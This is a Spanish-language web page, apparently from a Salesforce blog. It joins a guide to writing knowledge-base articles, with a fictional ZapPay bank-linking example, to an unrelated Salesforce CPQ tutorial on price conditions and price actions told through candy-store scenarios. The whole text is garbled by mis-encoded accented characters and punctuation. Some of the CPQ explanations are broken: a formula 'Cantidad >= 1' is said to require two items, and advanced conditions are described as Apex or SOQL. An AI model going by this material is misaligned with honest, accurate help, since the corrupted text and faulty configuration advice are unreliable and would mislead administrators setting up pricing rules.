Si bien la estructura de este centro variar谩 seg煤n las necesidades de su negocio y sus clientes, debe tener una funci贸n de b煤squeda, etiquetas de art铆culos basadas en sus ofertas y t铆tulos que dejen en claro de qu茅 trata el art铆culo.

Si su centro de contacto tiene un chatbot , puede mostrar informaci贸n de art铆culos de conocimientos en respuesta a un mensaje del cliente. Muy pronto, los chatbots con tecnolog铆a de IA generativa podr谩n responder preguntas de servicio y dar respuestas mejores y m谩s personalizadas a partir de la base de conocimientos.

驴Por qu茅 son importantes los art铆culos de la base de conocimientos?

Estas son las tres razones principales por las que los art铆culos de la base de conocimientos son importantes para su empresa:

  • Proporcionar una mejor experiencia de servicio: es 10 veces m谩s probable que los clientes usen el autoservicio que contactar directamente a un centro de servicio. Tener un centro de conocimiento donde sus clientes puedan encontrar f谩cilmente las respuestas les brinda la experiencia de servicio que desean y les permite obtener servicio las 24 horas del d铆a, los 7 d铆as de la semana.
  • Reduzca la carga de casos en su centro de contacto: a medida que m谩s clientes resuelven sus problemas de forma independiente, menos casos requieren el apoyo de un agente. Esto libera a los agentes para que se concentren en resolver problemas m谩s complejos de los clientes y reduce la carga de trabajo general del centro de contacto.
  • Reduzca el tiempo promedio de manejo: a medida que los agentes resuelven casos 煤nicos y formalizan el conocimiento institucional en art铆culos, m谩s agentes pueden usar esa informaci贸n para resolver sus casos m谩s r谩pido y reducir el tiempo promedio de manejo. Las investigaciones muestran que el uso de art铆culos de la base de conocimientos puede resultar en una resoluci贸n un 33 % m谩s r谩pida .

C贸mo escribir un art铆culo de la base de conocimientos

Esta secci贸n lo guiar谩 a trav茅s de los pasos importantes que debe seguir antes de escribir un art铆culo de la base de conocimiento, qu茅 elementos incluir y algunos consejos 煤tiles para que sea a煤n m谩s f谩cil escribir un art铆culo de conocimiento.

Antes de escribir un art铆culo de conocimiento

Hay algunos pasos que desea tomar antes de escribir su art铆culo: el primero es averiguar sobre qu茅 tema escribir.

Considere estas tres preguntas cuando identifique el tema correcto para su art铆culo:

  • 驴Cu谩les son las preguntas m谩s comunes para las que recibe solicitudes de servicio?
  • 驴Cu谩les son los problemas m谩s comunes con los que sus clientes necesitan ayuda?
  • 驴Qu茅 informaci贸n ayudar铆a a sus clientes a aprovechar al m谩ximo sus productos y servicios?

Una vez que haya identificado los problemas m谩s comunes, aseg煤rese de no tener un art铆culo de conocimiento sobre este tema. Si un art铆culo ya existe, decida si necesita ser editado para agregar informaci贸n actualizada.

Si a煤n no existe ning煤n art铆culo sobre ese tema, 隆es hora de comenzar a escribir!

4 componentes de un buen art铆culo de base de conocimiento

  • Un t铆tulo claro: deja que tu cliente sepa qu茅 cubrir谩 tu art铆culo en el t铆tulo. Aseg煤rese de que el t铆tulo sea claro, conciso y describa con precisi贸n el contenido del art铆culo. Esto tambi茅n hace que el art铆culo sea m谩s f谩cil de encontrar.
  • Listas con vi帽etas o subt铆tulos: haga que su art铆culo de conocimiento sea f谩cil de hojear para que sus clientes no tengan que leer cada palabra para encontrar lo que necesitan. Cree listas con vi帽etas o subt铆tulos que muestren lo que se cubre en cada secci贸n. Si est谩 escribiendo un tutorial, escriba instrucciones paso a paso, incluidos los botones o elementos del men煤 para hacer clic, y col贸quelos en orden cronol贸gico.
  • Im谩genes, enlaces o videos : brinda a tus clientes tantos detalles como puedas para que puedan resolver el problema por s铆 mismos. Agregue capturas de pantalla, im谩genes, enlaces a otros art铆culos o videos a su art铆culo para ayudarlos.
  • Lenguaje simple: escriba de una manera que todos puedan entender f谩cilmente. Haga todo lo posible para evitar la jerga que se relaciona espec铆ficamente con su producto y servicio. Sus clientes no tendr谩n tanto conocimiento del producto como usted, as铆 que use un lenguaje simple en cada paso de su art铆culo.

Aspecto de un art铆culo completo de la base de conocimientos

Este es un ejemplo de un art铆culo de la base de conocimientos que creamos para un software de pago ficticio llamado ZapPay. Este art铆culo de conocimientos ayudar铆a a los clientes de ZapPay a vincular su cuenta bancaria a su cuenta de ZapPay.

Conecta tu cuenta bancaria a tu cuenta de ZapPay

Descripci贸n general

  • Descubra c贸mo conectar su cuenta ZapPay a su cuenta bancaria para enviar dinero, pagar facturas y transferir ZapCash a su cuenta bancaria.

SUGERENCIA: aseg煤rese de tener a mano su cuenta bancaria y n煤meros de ruta antes de comenzar este proceso.

  1. Inicie sesi贸n en su cuenta de ZapPay.
  2. Desde el tablero, toque su nombre y luego haga clic en Perfil.
  3. Seleccione "Conectar cuenta bancaria".
  4. A partir de ah铆, aparecer谩 una ventana emergente en su pantalla.
  5. Ingrese su n煤mero de cuenta bancaria en el cuadro de texto "N煤mero de cuenta" y su n煤mero de ruta en el cuadro de texto "N煤mero de ruta".
  6. Vuelva a verificar que sus datos sean correctos antes de continuar.
  7. Una vez que haya terminado, seleccione "Guardar".
  8. Dentro de las 24 horas, ver谩 un retiro de ZapPay de diez centavos o menos en su cuenta y luego un reembolso por la misma cantidad poco despu茅s. Esto es para garantizar que pueda retirar y depositar dinero con 茅xito entre su cuenta de ZapPay y su cuenta bancaria.

隆Felicidades! 隆Has conectado con 茅xito tu ZapPay a tu cuenta bancaria! Si necesita ayuda adicional, consulte los siguientes enlaces:

  • Agregar dinero a mi cuenta de ZapPay
  • Transferir dinero de ZapPay a mi cuenta bancaria
  • Desconectar cuenta bancaria
  • Agregar tarjeta de cr茅dito a la cuenta de ZapPay

3 consejos simples para comenzar con los art铆culos de la base de conocimientos (pista: IA)

Ahora que tiene lo que necesita para escribir el art铆culo perfecto de la base de conocimientos, as铆 es como puede comenzar.

  • Obtenga informaci贸n de registros y notas de casos antiguos para asegurarse de que est谩 incluyendo tantos detalles como sea posible y de que est谩 siguiendo los mismos pasos para obtener una resoluci贸n.
  • Para garantizar la precisi贸n y la legibilidad, trabaje con un administrador para configurar un proceso de aprobaci贸n de art铆culos de conocimiento. Esto garantizar谩 que la gram谩tica y la ortograf铆a sean correctas, que la informaci贸n sea precisa y que el formato de los art铆culos sea uniforme en todo el centro.
  • Conecte una herramienta de IA generativa a su consola de servicio y haga que cree el primer borrador de su art铆culo de conocimiento basado en los detalles de la conversaci贸n y los datos de CRM para que sus agentes experimentados lo revisen. Esto le ahorrar谩 tiempo y lo ayudar谩 a publicar sus art铆culos m谩s r谩pido.

Ahora sabe qu茅 es un art铆culo de la base de conocimientos y por qu茅 es importante tanto para los clientes como para los agentes. Comience a escribir art铆culos hoy para brindarles una excelente experiencia de servicio y aumentar la eficiencia de su centro de contacto.

Ahorre tiempo para sus clientes y agentes

Con herramientas de autoservicio como los art铆culos de la base de conocimientos, los clientes pueden obtener respuestas a las preguntas m谩s frecuentes en cualquier momento, lo que libera a sus agentes. Nuestra gu铆a muestra c贸mo las organizaciones de servicio de alto rendimiento facilitan el autoservicio.

Continue reading

Sugar Rush of Salesforce CPQ Pricing: 隆Revelaci贸n de condiciones de precio y acciones en el pa铆s de las maravillas de las tiendas de golosinas!

Sugar Rush of Salesforce CPQ Pricing: 隆Revelaci贸n de condiciones de precio y acciones en el pa铆s de las maravillas de las tiendas de golosinas!

隆Bienvenido al encantador Candy Store Wonderland, donde nos sumergiremos en la encantadora aventura de la magia de fijaci贸n de precios de Salesforce CPQ! Desenvolveremos la condici贸n del precio y la acci贸n del precio con los escenarios de la tienda de golosinas.

Exploraremos ejemplos de condiciones de precios cubiertas de dulces como "Obtenga una bolsa de regalo con la compra de deliciosos dulces de chocolate", acciones de precios dulces como "Compre uno, obtenga un dulce gratis para duplicar la dulzura" que lo dejar谩n con ganas de m谩s. Descubriremos c贸mo se pueden personalizar las condiciones de precio y las acciones para crear promociones, descuentos y ofertas 煤nicos que hagan que los clientes regresen para disfrutar de m谩s aventuras llenas de dulces.

隆Despleguemos juntos la magia de los precios!

Precio Condici贸n

Exploremos el uso del objeto Condici贸n de precio con la ayuda de casos de uso.

1. Descuento por tipo de caramelo:

鈥 Condici贸n: establezca el campo en "Tipo de caramelo" y el operador en "Iguales". Especifique el valor como "Ositos de gominola".

鈥 Resultado: cuando un cliente agrega dulces de ositos de goma a su cotizaci贸n, la Condici贸n de precio evaluar谩 el tipo de dulce y aplicar谩 la acci贸n de fijaci贸n de precios definida, como un descuento o un precio ajustado.

2. Umbral de cantidad:

鈥 Condici贸n: Defina el Campo como 鈥淐antidad鈥 y el Operador como 鈥淢ayor que鈥 o 鈥淚gual鈥. Establezca el Valor como un umbral de cantidad espec铆fico, como 10.

鈥 Resultado: cuando un cliente agrega dulces a su cotizaci贸n y la cantidad supera el umbral especificado, la condici贸n de precio activar谩 una acci贸n de fijaci贸n de precios, como un descuento por volumen o un nivel de precios diferente.

3. Condici贸n de atributo personalizado:

鈥 Condici贸n: defina un campo personalizado en la secci贸n Campo, como 鈥淒ulces org谩nicos鈥. Establezca el Operador en "Equals" y el Valor en "True".

鈥 Resultado: cuando un cliente agrega dulces org谩nicos a su cotizaci贸n, la Condici贸n de precio verificar谩 el atributo personalizado y aplicar谩 una acci贸n de precio espec铆fica, como un precio premium o un descuento para productos org谩nicos.

4. Promoci贸n basada en fechas:

鈥 Condici贸n: Especifique el campo como 鈥淔echa de cotizaci贸n鈥 Establezca el Operador en 鈥淒entro del rango鈥 y proporcione el rango de fechas deseado para la promoci贸n.

鈥 Resultado: cuando la cotizaci贸n o el art铆culo de l铆nea se encuentran dentro del rango de fechas especificado, la Condici贸n de precio activar谩 una acci贸n de fijaci贸n de precios, como un descuento por tiempo limitado o una oferta especial.

El objeto Regla de precio y Condici贸n de precio tienen una relaci贸n maestro-detalle.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Descripci贸n de los campos en el objeto de condici贸n de precio

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Cu谩l es el uso del campo de regla de precio en el objeto de condici贸n de precio?

Conecta la condici贸n de precio con la regla de precio principal. Significa a qu茅 regla de precio est谩 asociada la condici贸n de precio y determina bajo qu茅 regla se debe evaluar la condici贸n.

驴Cu谩l es el significado de Objeto y Campo en la Condici贸n de Precio?

Fondo con rayas amarillas y blancas Descripci贸n generada autom谩ticamente

Al crear una Condici贸n de precio, selecciona el objeto apropiado de las opciones disponibles en el campo "Objeto". Esto especifica el objeto relacionado al que desea hacer referencia en la condici贸n. Una vez que seleccione el objeto, puede elegir el campo espec铆fico de ese objeto en el campo "Campo de objeto".

Por ejemplo, supongamos que tiene una Condici贸n de precio que verifica si el campo "Sabor a caramelo" en el objeto L铆nea de cotizaci贸n relacionado es igual a "Lim贸n". En este caso, seleccionar铆a el objeto "L铆nea de cotizaci贸n" en el campo "Objeto" y luego elegir铆a el campo "Sabor a caramelo".

Escenario: configure una condici贸n de precio para verificar si el campo "Tipo" del caramelo asociado con la l铆nea de cotizaci贸n es igual a "Gummy Bear".

As铆 es como funciona:

1. En el registro de Condici贸n de precio, seleccionar铆a el objeto "L铆nea de cotizaci贸n" en el campo "Objeto". Esto indica que desea evaluar un campo del objeto L铆nea de cotizaci贸n.

2. A continuaci贸n, en el campo "Object Field", elegir铆a el campo "Candy.Type". Esto especifica que desea hacer referencia al campo "Tipo" del objeto Candy relacionado asociado con la l铆nea de cotizaci贸n.

3. Para completar la condici贸n, establecer铆a el operador como "Equals" y proporcionar铆a el valor "Gummy Bear". Esta condici贸n verificar谩 si el tipo de Caramelo para la l铆nea de cotizaci贸n asociada es "Gummy Bear".

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Qu茅 es el campo variable probado en la condici贸n de precio?

El campo "Variables probadas" en el objeto Condici贸n de precio le permite almacenar y hacer referencia a valores intermedios durante la evaluaci贸n de la condici贸n. Entendamos su uso con un ejemplo de caramelo.

Escenario: Desea aplicar un descuento en un tipo espec铆fico de golosina, pero solo si la cantidad total de todos los art铆culos de golosina en la cotizaci贸n supera un l铆mite determinado.

1. Precio Condici贸n:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 Campo de objeto: Producto.Tipo (para verificar el tipo de dulce)

鈥 Condici贸n: Tipo de Caramelo es igual a 鈥淏arra de Chocolate鈥

2. Variables probadas:

鈥 Cree una variable probada llamada "TotalCandyQty" para almacenar la cantidad total de todos los art铆culos de dulces en la cotizaci贸n.

3. Acci贸n del precio:

鈥 Objeto: Cita

鈥 Campo de objeto: Porcentaje de descuento

鈥 Acci贸n: Actualizar Campo

鈥 Valor: si TotalCandyQty es mayor que 10, establezca el Porcentaje de descuento en 10 %; de lo contrario, aj煤stelo al 5%.

Soluci贸n

En este ejemplo, la Condici贸n de precio verifica si el tipo de dulce es "Barra de chocolate" para cada l铆nea de cotizaci贸n. Si coincide, puede utilizar el campo "Variables probadas" para almacenar la cantidad total de todos los dulces en la cotizaci贸n.

La Acci贸n del precio luego actualiza el campo Porcentaje de descuento en la Cotizaci贸n en funci贸n del valor de la variable probada "TotalCandyQty". Si la cantidad total de art铆culos de dulces en la cotizaci贸n supera los 10, se aplica un descuento del 10%. En caso contrario, se aplica un descuento del 5%.

Al usar el campo "Variables probadas", puede calcular y almacenar la cantidad total de dulces en la cotizaci贸n y usarla en acciones posteriores para determinar el porcentaje de descuento apropiado. Esto le permite aplicar diferentes descuentos en funci贸n de la cantidad total de dulces en la cotizaci贸n.

驴Cu谩l es el uso del campo de f贸rmula probado en la condici贸n de precio?

Un objeto rectangular blanco con un borde negro Descripci贸n generada autom谩ticamente

El campo "F贸rmula probada" en una Condici贸n de precio le permite definir una expresi贸n de f贸rmula que se eval煤a para determinar si la condici贸n se cumple o no. Le permite crear condiciones din谩micas que consideran diferentes factores.

Escenario: desea aplicar un descuento en un producto solo si se cumplen las siguientes condiciones:

鈥 El producto es una 鈥淏arra de Chocolate鈥 o un 鈥淥sito de Gominola鈥.

鈥 La cantidad del producto es mayor o igual a 10.

鈥 El precio total del producto supera los $50.

Para configurar esta condici贸n usando una f贸rmula probada:

1. Cree una Condici贸n de Precio con los siguientes detalles:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: ingrese la expresi贸n de la f贸rmula que combina las condiciones:

`(Tipo de producto = "Barra de chocolate" || Tipo de producto = "Osito de goma") && Cantidad >= 10 && Precio total > 50`

En este ejemplo, la f贸rmula probada combina m煤ltiples condiciones usando operadores l贸gicos (|| para OR, && para AND). Comprueba si el tipo de producto es "Barra de chocolate" o "Gummy Bear", la cantidad es mayor o igual a 10 y el precio total es mayor a $50. Solo si todas estas condiciones son ciertas, se cumplir谩 la Condici贸n de Precio.

驴Cu谩l es la diferencia entre la 鈥淔贸rmula Probada鈥 en una Condici贸n de Precio y la 鈥淐ondici贸n Avanzada鈥 en una Regla de Precio?

La "F贸rmula Probada" en una Condici贸n de Precio y la "Condici贸n Avanzada" en una Regla de Precio le permiten definir condiciones complejas para determinar cu谩ndo se debe aplicar una acci贸n o ajuste espec铆fico. Sin embargo, hay algunas diferencias clave entre ellos:

F贸rmula probada en condici贸n de precio:

鈥 Se utiliza dentro de una Condici贸n de precio para evaluar si la condici贸n se cumple o no para elementos de l铆nea de cotizaci贸n individuales.

鈥 Se eval煤a a nivel de l铆nea de pedido, considerando los valores espec铆ficos de los campos en la l铆nea de cotizaci贸n.

鈥 La f贸rmula puede incluir referencias de campo, operadores l贸gicos, comparaciones y funciones para realizar c谩lculos y comparaciones en funci贸n de los valores de los campos en la partida de presupuesto.

鈥 El resultado de la f贸rmula determina si se cumple la condici贸n y, de ser as铆, las acciones de precio asociadas se aplicar谩n a la l铆nea de cotizaci贸n.

Condici贸n avanzada en la regla de precio:

鈥 Se usa dentro de una regla de precio para definir condiciones m谩s complejas que pueden involucrar m煤ltiples elementos de l铆nea de cotizaci贸n u objetos relacionados.

鈥 Se eval煤a a nivel de regla, teniendo en cuenta los valores en varias partidas de cotizaci贸n u objetos relacionados.

鈥 La condici贸n avanzada generalmente se escribe utilizando Apex o SOQL (lenguaje de consulta de objetos de Salesforce) y puede incluir l贸gica personalizada, consultas y c谩lculos.

鈥 El resultado de la condici贸n avanzada determina si se aplica toda la regla o se omite por completo para una cotizaci贸n en particular.

En resumen, la f贸rmula probada en una Condici贸n de precio se usa para evaluar las condiciones en el nivel de partida de cotizaci贸n individual , mientras que la condici贸n avanzada en una Regla de precio permite condiciones m谩s avanzadas que involucran m煤ltiples partidas de cotizaci贸n u objetos relacionados.

Comprendamos la diferencia entre la f贸rmula probada en una Condici贸n de precio y la condici贸n avanzada en una Regla de precio con la ayuda de un ejemplo:

Gui贸n:

Dispones de una Regla de Precio para aplicar un descuento en productos en base a las siguientes condiciones:

鈥 Condici贸n 1: Aplicar un 10% de descuento si la cantidad de productos es mayor o igual a 10.

鈥 Condici贸n 2: Aplicar un 5% de descuento si el producto pertenece a una categor铆a espec铆fica, 鈥淐ategor铆a Especial鈥.

F贸rmula probada en condici贸n de precio:

En este enfoque, utilizar谩 una f贸rmula probada dentro de cada condici贸n de precio para evaluar la condici贸n en el nivel de art铆culo de l铆nea de cotizaci贸n individual.

Precio Condici贸n 1:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: `Cantidad >= 10`

Precio Condici贸n 2:

鈥 Objeto: L铆nea de cotizaci贸n

鈥 F贸rmula probada: `Producto.Categor铆a = 鈥淐ategor铆a especial鈥漙

En este ejemplo, la f贸rmula probada se usa para verificar si cada elemento de l铆nea de cotizaci贸n cumple con la condici贸n espec铆fica. Si la f贸rmula se eval煤a como verdadera para un art铆culo de l铆nea de cotizaci贸n, la acci贸n de precio asociada se aplicar谩 a ese art铆culo.

Condici贸n avanzada en la regla de precios:

En este enfoque, utilizar谩 una condici贸n avanzada dentro de la regla de precio para evaluar las condiciones a nivel de regla, considerando varios elementos de l铆nea de cotizaci贸n.

Regla de precio:

鈥 Condici贸n avanzada: `SUM(QuoteLine.Quantity) >= 10 && MAX(QuoteLine.Product.Category) = 鈥淪pecial Category鈥漙

En este ejemplo, la condici贸n avanzada se usa para evaluar las condiciones en todos los elementos de l铆nea de cotizaci贸n en la cotizaci贸n. Si la condici贸n avanzada se eval煤a como verdadera, las acciones de precio asociadas dentro de la regla de precio se aplicar谩n a todos los elementos de l铆nea de cotizaci贸n elegibles.

驴Para qu茅 sirve el campo 鈥淥perador鈥 en una Condici贸n de Precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Este campo determina la comparaci贸n u operaci贸n l贸gica a realizar al evaluar la condici贸n.

Los operadores disponibles en el campo "Operador" pueden variar seg煤n el tipo de datos del campo que se compara. Aqu铆 hay algunos operadores comunes que puede encontrar:

鈥 Igual a (=): Comprueba si el valor del campo es igual al valor especificado.

鈥 No es igual a (!=): Comprueba si el valor del campo no es igual al valor especificado.

鈥 Mayor que (>): Comprueba si el valor del campo es mayor que el valor especificado.

鈥 Menor que (<): Comprueba si el valor del campo es menor que el valor especificado.

鈥 Mayor o igual que (>=): Comprueba si el valor del campo es mayor o igual que el valor especificado.

鈥 Menor o igual que (<=): Comprueba si el valor del campo es menor o igual que el valor especificado.

鈥 Contiene: comprueba si el valor del campo contiene una subcadena o valor espec铆fico.

Por ejemplo, si tiene una Condici贸n de precio para aplicar un descuento cuando la cantidad de un producto es mayor a 10, utilizar谩 el operador "Mayor que" (>) y especificar谩 el valor 10 en la condici贸n.

驴Qu茅 es el campo Uso del tipo de filtro en el objeto de condici贸n de precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

1. Variable: Le permite seleccionar una variable de resumen que contiene un valor espec铆fico. Las variables de resumen se utilizan para almacenar y hacer referencia a valores calculados basados en agregaciones o l贸gica de f贸rmula.

2. F贸rmula: Le permite especificar una f贸rmula o expresi贸n que determina la condici贸n para que se aplique la Regla de Precio. Puede utilizar funciones de f贸rmula, operadores y referencias de campo para crear condiciones complejas basadas en los valores de la partida de presupuesto u otros objetos relacionados.

3. Valor: especifica un valor espec铆fico con el que se comparar谩 el campo de la partida de cotizaci贸n. Por lo general, se usa junto con los campos "Campo" y "Operador" para definir la condici贸n.

Juntos, la "Variable", la "F贸rmula" y el "Valor" le permiten definir las condiciones que determinan cu谩ndo se debe aplicar la regla de precio a una partida de cotizaci贸n espec铆fica.

驴Qu茅 es el campo de valor de filtro en la condici贸n de precio?

Un rect谩ngulo azul y blanco Descripci贸n generada autom谩ticamente

El valor del filtro representa el valor esperado o el umbral con el que se compara el campo de la partida de presupuesto o grupo de partidas de presupuesto. El valor del filtro puede ser un valor num茅rico, un valor de texto, una fecha o cualquier otro tipo de datos adecuado seg煤n el campo que se utilice en la condici贸n.

Escenario: regla de precio que ofrece un descuento en los dulces de ositos de goma si la cantidad supera un cierto umbral. Desea solicitar un 10% de descuento cuando la cantidad es superior a 10.

Soluci贸n

En este escenario, la Condici贸n de Precio tendr谩 la siguiente configuraci贸n:

鈥 Tipo de filtro: Campo de l铆nea de cotizaci贸n

鈥 Campo: Cantidad

鈥 Operador: Mayor que

鈥 Valor del filtro: 10

Aqu铆, el valor del filtro se establece en 10, lo que indica que la condici贸n busca una cantidad superior a 10. Al evaluar las l铆neas de cotizaci贸n, si la cantidad de dulces de ositos de goma supera los 10, la condici贸n se considera verdadera y la regla de precio con se aplicar谩 la acci贸n asociada, como aplicar el 10% de descuento.

驴Cu谩l es el uso del campo variable de filtro en la condici贸n de precio?

El campo Filtrar variable en la condici贸n de precio le permite hacer referencia a una variable personalizada espec铆fica de una l铆nea de cotizaci贸n o un grupo de l铆neas de cotizaci贸n y utilizarla en la evaluaci贸n de la condici贸n.

Consideremos un ejemplo de caramelo para comprender el uso del campo de variable de filtro en la condici贸n de precio.

Gui贸n

Supongamos que tiene una variable personalizada llamada "MinOrderQuantity". El objetivo es aplicar un descuento cuando la cantidad supera el valor de MinOrderQuantity de 10.

Soluci贸n:

1. Defina una variable personalizada:

鈥 Cree una variable personalizada llamada "MinOrderQuantity" para representar la cantidad m铆nima de dulces necesaria para calificar para un descuento.

鈥 Establezca el valor de 鈥淢inOrderQuantity鈥 en 10.

2. Crear una condici贸n de precio:

鈥 Tipo de filtro: Campo de l铆nea de cotizaci贸n

鈥 Campo: Cantidad

鈥 Operador: Mayor que o Igual a

鈥 Campo de variable de filtro: MinOrderQuantity

Esta condici贸n de precio verifica si la cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es mayor o igual que el valor almacenado en la variable "MinOrderQuantity".

3. Cree una acci贸n de precio:

鈥 Especificar la acci贸n a realizar cuando se cumpla la Condici贸n de Precio. Por ejemplo, puedes aplicar un descuento del 10% al Precio Unitario de los art铆culos de golosinas.

4. Aplicar la regla del precio:

鈥 Conecte la Condici贸n de precio y la Acci贸n de precio a la Regla de precio.

鈥 Aseg煤rese de que la regla de precios est茅 activa y configurada para activarse correctamente en su configuraci贸n de precios.

Ahora, veamos c贸mo funciona este ejemplo:

鈥 Escenario 1: la cantidad es inferior a 10

鈥 Si la cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es inferior a 10, la condici贸n de precio se eval煤a como falsa.

鈥 La regla de precio no se activa y no se aplica ning煤n descuento.

鈥 Escenario 2: la cantidad es 10 o m谩s

鈥 Si la Cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es igual o superior a 10, la Condici贸n de precio se eval煤a como verdadera.

鈥 Se activa la regla de precio y se ejecuta la acci贸n especificada, como aplicar un descuento del 10 % al precio unitario, en esos art铆culos de dulces.

驴Cu谩l es la diferencia entre el campo Variable de filtro y Variable probada en Condici贸n de precio?

La principal diferencia entre una variable de filtro y una variable probada en Salesforce CPQ es el contexto en el que se utilizan.

Variable de filtro:

鈥 Se utiliza una variable de filtro en la Condici贸n de precio para definir una condici贸n din谩mica basada en un valor espec铆fico almacenado en una variable personalizada.

鈥 Le permite hacer referencia a una variable personalizada definida dentro del contexto de la partida de cotizaci贸n o grupo de partidas de cotizaci贸n.

鈥 La variable de filtro se utiliza como parte de la evaluaci贸n de la condici贸n para compararla con otros campos o valores.

鈥 Ayuda a determinar si se cumplen o no las condiciones especificadas en la Condici贸n de Precio.

Variable probada:

鈥 Una variable probada se usa en la condici贸n avanzada de una regla de precio para evaluar una f贸rmula o l贸gica basada en valores espec铆ficos almacenados en variables personalizadas.

鈥 Te permite crear condiciones o c谩lculos complejos basados en los valores de las variables personalizadas.

鈥 La variable probada se usa en combinaci贸n con otras variables, campos o f贸rmulas para determinar el resultado de la condici贸n avanzada.

Diferenciemos entre el campo Variable de filtro y Variable probada en el contexto de un ejemplo de caramelo:

Ejemplo: descuento de temporada en la tienda de golosinas

Escenario: Filtrar uso de variables

Si el cliente pide 25 dulces, la Condici贸n de precio con la variable de filtro "MinOrderQuantity" evaluar谩 si la cantidad es mayor o igual a 20. Si se cumple la condici贸n, se activar谩 la acci贸n especificada, como aplicar un descuento. .

Soluci贸n

1. Cree una variable personalizada llamada "MinOrderQuantity"

2. Establezca el valor de "MinOrderQuantity" en 20, lo que indica que los clientes deben pedir al menos 20 dulces para ser elegibles para el descuento.

Precio Condici贸n:

3. Cree una condici贸n de precio en la regla de precio.

4. Seleccione el campo "Cantidad" como campo de filtro.

5. Elija el operador "Mayor o igual que".

6. Ingrese el valor del filtro como la variable "MinOrderQuantity".

7. Especifique la acci贸n que desea realizar, como aplicar un porcentaje de descuento, cuando se cumpla la condici贸n.

Escenario Probado Uso de variables

Ejemplo: Si el cliente tiene un nivel de lealtad de "Oro" y la variable probada "Porcentaje de descuento" se establece en 15%, la Condici贸n avanzada evaluar谩 si el nivel de lealtad del cliente es "Oro". Si la condici贸n es verdadera, el porcentaje de descuento ser谩 ser ejecutado.

Soluci贸n

1. Cree una variable personalizada denominada "Porcentaje de descuento" en Salesforce CPQ.

2. Establezca el valor de "Porcentaje de descuento" en 15, lo que indica un 15% de descuento para clientes leales.

Condici贸n avanzada:

3. Cree una Condici贸n Avanzada en la Regla de Precio.

4. Defina la l贸gica utilizando variables probadas, como "Porcentaje de descuento", nivel de lealtad del cliente y otros criterios.

5. Especifique la acci贸n que desea realizar, como aplicar el porcentaje de descuento, cuando la Condici贸n avanzada se eval煤e como verdadera.

En resumen, las variables de filtro se utilizan en Condiciones de precio para verificar si se cumplen ciertos criterios o umbrales, en funci贸n de variables, campos o valores personalizados. Las variables probadas, por otro lado, se utilizan en Condiciones Avanzadas para realizar c谩lculos o l贸gica basada en variables personalizadas , atributos del cliente u otros factores para determinar el resultado de la Regla de Precio.

驴C贸mo usamos el campo F贸rmula de filtro en la condici贸n de precio?

El campo de f贸rmula de filtro en Condici贸n de precio le permite definir una condici贸n basada en f贸rmula para determinar si se debe aplicar la regla. Consideremos un ejemplo en el contexto de una tienda de golosinas:

Escenario: Compre uno, ll茅vese otro gratis Promoci贸n

Si el cliente est谩 comprando al menos dos art铆culos de dulces, aplique un descuento para que uno de los art铆culos sea gratis como parte de la promoci贸n "Compre uno, ll茅vese otro gratis".

Soluci贸n

Este es un ejemplo paso a paso del uso del campo de f贸rmula de filtro en la Condici贸n de precio para implementar una promoci贸n de "Compre uno, ll茅vese otro gratis" en el escenario de una tienda de golosinas:

1. Configure la Condici贸n de Precio:

鈥 Establezca el tipo de filtro en "F贸rmula" en el registro de Condici贸n de precio.

鈥 Introduzca una f贸rmula en el campo de f贸rmula de filtro para comprobar si se cumple la condici贸n. Cantidad >= 1.

鈥 Esta f贸rmula verifica si la cantidad del art铆culo de dulces en la l铆nea de cotizaci贸n es mayor o igual a 1, lo que indica que el cliente est谩 comprando al menos dos art铆culos.

2. Especifique la acci贸n deseada:

鈥 Determine la acci贸n que desea realizar cuando la f贸rmula del filtro se eval煤e como verdadera. En este caso, se trata de una promoci贸n de 鈥淐ompre uno, ll茅vese otro gratis鈥.

驴Cu谩l es el uso del campo de 铆ndice en la condici贸n de precio?

El campo "脥ndice" en el objeto Condici贸n de precio se puede utilizar para definir el orden en el que se eval煤an las condiciones para aplicar las reglas de precios. Consideremos un ejemplo para entender su uso:

Escenario: Descuento para barras de chocolate

1. Cree una regla de precio para aplicar un descuento a las barras de chocolate.

2. Agregue m煤ltiples condiciones de precio dentro de la regla de precio para definir diferentes condiciones bajo las cuales se debe aplicar el descuento. Por ejemplo:

鈥 Condici贸n de Precio 1: Comprobar si el tipo de caramelo es 鈥淏arra de Chocolate鈥.

鈥 Condici贸n de Precio 2: Comprobar si la cantidad de barras de chocolate es mayor o igual a 10.

鈥 Condici贸n de precio 3: Comprobar si el cliente tiene un nivel de membres铆a espec铆fico.

3. Establezca los valores del 铆ndice para cada condici贸n de precio:

鈥 Condici贸n de precio 1: establezca el valor del 铆ndice en 1.

鈥 Condici贸n de precio 2: establezca el valor del 铆ndice en 2.

鈥 Condici贸n de precio 3: establezca el valor del 铆ndice en 3.

Al asignar valores de 铆ndice a las condiciones de precio, est谩 definiendo el orden en el que deben evaluarse. En este ejemplo, se evaluar谩 primero la condici贸n de precio 1 con un valor de 铆ndice de 1, seguida de la condici贸n de precio 2 con un valor de 铆ndice de 2 y finalmente la condici贸n de precio 3 con un valor de 铆ndice de 3.

鈥斺斺斺

Acci贸n del precio

Exploremos el uso del objeto Price Action con varios ejemplos.

1. Aplicar un descuento:

鈥 Acci贸n de precio: establezca un objeto de acci贸n de precio con el objeto de destino como "L铆nea de cotizaci贸n"

鈥 Acci贸n: especifique un porcentaje de descuento, como un 20 % de descuento, en la Acci贸n de precio.

鈥 Resultado: Cuando un cliente agrega un dulce espec铆fico a su cotizaci贸n, Price Action autom谩ticamente aplicar谩 el descuento al Precio Unitario de ese dulce, resultando en un precio reducido.

2. Precios por volumen:

鈥 Acci贸n de precio: Cree un objeto de Acci贸n de precio con el Objeto de destino establecido como 鈥淟铆nea de cotizaci贸n鈥.

鈥 Acci贸n: defina una estructura de nivel de precio en la Acci贸n de precio basada en rangos de cantidad. Por ejemplo:

鈥 1-10 dulces: $1 por dulce

鈥 11-20 dulces: $0.90 por dulce

鈥 21+ dulces: $0.80 por dulce

